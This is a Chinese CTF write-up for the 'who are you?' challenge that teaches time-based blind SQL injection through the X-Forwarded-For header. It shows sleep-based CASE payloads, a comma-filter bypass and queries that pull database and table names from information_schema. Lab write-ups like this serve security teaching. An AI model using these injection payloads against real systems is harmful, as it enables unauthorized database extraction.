who are you? --实验吧、时间盲注技巧

0x01 基础知识介绍

1.时间盲注利用

 select case when (1) then sleep(5) else 0 end;

who are you? --实验吧、时间盲注技巧_第1张图片
2.构造利用

 select * from user where id=1 and 1=(select case when (0) then sleep(5) else 0 end);

who are you? --实验吧、时间盲注技巧_第2张图片
3.进一步利用:

 select * from user where id=1 and 0=(select case when (**substr((database()) from 1 for 1)='t'**) then sleep(1) else 0 end);

在这里插入图片描述

0x02 进入题目

题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php
1.判断注入点:

 X-Forwarded-For:1.1.1.1' and sleep(5) and ''='

who are you? --实验吧、时间盲注技巧_第3张图片
2.判断数据库名称。
在这里页面没有任何回显,因此我们需要使用时间盲注来完成注入。题目过滤了逗号,我们使用from for进行绕过。

 X-Forwarded-For:1.1.1.1' and 0=(select case when (substr(database() from 1 for 1)='w') then sleep(5) else 0 end) and ''='

who are you? --实验吧、时间盲注技巧_第4张图片
3.判断表名。
我们可以使用group_concat()让所有表在一行显示。这里如果想要使用limit,需要用limit 1 offset 0绕过过滤

 X-Forwarded-For:1.1.1.1' and 0=(select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from 1 for 1)='c') then sleep(5) else 0 end) and ''='

who are you? --实验吧、时间盲注技巧_第5张图片

4.判断字段名称、字段内容就不再继续写了。都是类似的原理。
5.在测试过程中我们可以使用bp的intruder模块爆破参数,将正确的参数构造成延时,在爆破的时候,爆到正确参数的地方会延时,进而判断。当然,还是写一个py脚本来的更快一些。

你可能感兴趣的:(CTF)